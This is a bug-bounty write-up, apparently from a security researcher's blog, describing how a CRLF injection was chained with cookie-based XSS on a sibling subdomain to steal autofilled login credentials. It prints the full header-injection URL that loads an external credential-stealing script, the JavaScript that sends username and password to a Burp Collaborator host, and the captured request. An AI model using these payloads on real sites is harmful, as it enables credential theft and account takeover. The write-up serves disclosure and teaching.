Results at a glance
One rejected report, three useful clues
Hi, everyone. Yes, you read the title correctly: response splitting—CRLF—to account takeover. How?
I first reported the CRLF injection the way a low-hanging-fruit seeker might report it. The submission was rejected for a lack of reproducible impact, so I decided to dig deeper instead of discarding it.
Save what you find on a target. One day, at the right moment, you may need it.
That habit mattered here. Two findings on sibling subdomains, plus one browser behavior, were individually limited. Together they formed the path to account takeover.
The pieces
The first issue was CRLF injection on crlfsub.redacted.com. The second was a cookie-based XSS on xssub.redacted.com, where a cookie value was reflected into the response without safe output handling.
The XSS host redirected visitors to /login, and the login fields had autocomplete enabled. In the Firefox 99 environment used for the historical proof, saved credentials populated those fields and were readable by the injected script.
That is when my brain connected the findings:
CRLF → set a parent-domain cookie → cookie-based stored XSS → read historically autofilled credentials → account takeover
The historical attack chain
- 01Inject a response header
A crafted URL reaches the CRLF-vulnerable subdomain and adds an attacker-controlled Set-Cookie header.
- 02Scope the cookie to the parent domain
The cookie is assigned to .redacted.com, making it available to the sibling XSS subdomain.
- 03Turn reflection into persistent browser state
When the sibling host reflects that cookie unsafely, the payload executes on later visits to its login page.
- 04Read historically autofilled fields
In the tested Firefox 99 setup, saved login values appeared in the DOM and the injected script sent the demonstration values to Burp Collaborator.
Step 1: create the shared-domain cookie
It was time to put the pieces together. First, the victim opened a crafted link on the CRLF-vulnerable subdomain. The injected response header created vset for the redacted parent domain. Its value carried the script that would later be reflected by the sibling application.
The following target names and collection endpoints are historical, redacted demonstration values. They are presented as evidence, not as instructions to test systems without permission.
HTTP://crlfsub.redacted.com/stories-path%0a%0dSet-Cookie:vset=test</script><script src=https://moxss.server.com/steal_creds.js></script><img src=x onerror=alert('this_is_xss_to_ATO_your_cookies_and_saved_creds_has_been_sent_to_mosec_server_so_you_are_pwned')>";path=/;domain=.redacted.com;/articles/some-articles%74%65%73%74%3c%2f%73%63%72%69%70%74%3e%3c%73%63%72%69%70%74%20%73%72%63%3d%68%74%74%70%73%3a%2f%2f%6d%6f%62%78%73%73%2e%73%65%72%76%65%72%2e%63%6f%6d%2f%73%74%65%61%6c%5f%63%72%65%64%73%2e%6a%73%3e%3c%2f%73%63%72%69%70%74%3e%3c%69%6d%67%20%73%72%63%20%6f%6e%65%72%72%6f%72%3d%61%6c%65%72%74%28%27%74%68%69%73%5f%69%73%5f%78%73%73%5f%74%6f%5f%41%54%4f%5f%79%6f%75%72%5f%63%6f%6f%6b%69%65%73%5f%61%6e%64%5f%73%61%76%65%64%5f%63%72%65%64%73%5f%68%61%73%5f%62%65%65%6e%5f%73%65%6e%74%5f%74%6f%5f%6d%6f%73%65%63%5f%73%65%72%76%65%72%5f%73%6f%5f%79%6f%75%5f%61%72%65%5f%70%77%6e%65%64%27%29%3e%22;path=/;domain=.redacted.com;articles/some-articles
The response showed that the injected Set-Cookie header had been accepted. At that point, the cross-subdomain browser state was in place: the cookie survived beyond the first response and could reach the sibling login application.
Stored XSS: done.
Step 2: reproduce credential impact
Next, the victim visited xssub.redacted.com. It redirected to /login, reflected the injected cookie, and executed the externally loaded JavaScript.
The historical script read the username and password inputs after page load, printed them to the console during testing, and requested a Burp Collaborator URL containing the demonstration values:
console.log("password steal loaded.");
function load() {
var email = document.getElementById('login.username').value;
console.log(email);
var pass = document.getElementById('login.password').value;
console.log(pass);
new Image().src = "https://pkdyhhynhiuhnza9gz4o.burpcollaborator.net/login?u=" + email + "&p=" + pass;
}
window.onload = load;I tested the chain in Firefox 99 with saved demonstration credentials and autocomplete enabled. In that environment, the attack succeeded: the autofilled values were present when the page-load handler ran.
The Burp Collaborator request below records those harmless demonstration values. It is historical evidence, not a live credential.
GET /[email protected]&p=gaboompassword HTTP/1.1
Host: pkdyhhynhiuhnza9gz4o.burpcollaborator.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://redacted/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
Te: trailers
Connection: closeThe result
The triager’s response made me happy. They described the proof of concept as smart, agreed that it would work, and upgraded the severity to account for loss of confidentiality in the victim’s account.


The lesson
A finding that looks too small to matter can become the missing link in a much larger chain. The rejected report was not the end of this investigation; it was the prompt to understand the surrounding trust boundaries more deeply.
Thanks for reading.
Need this level of testing across your attack surface?
Work directly with researchers who look beyond automated findings and test the assumptions attackers exploit.
Discuss a security assessmentOriginally published at the author’s original source .

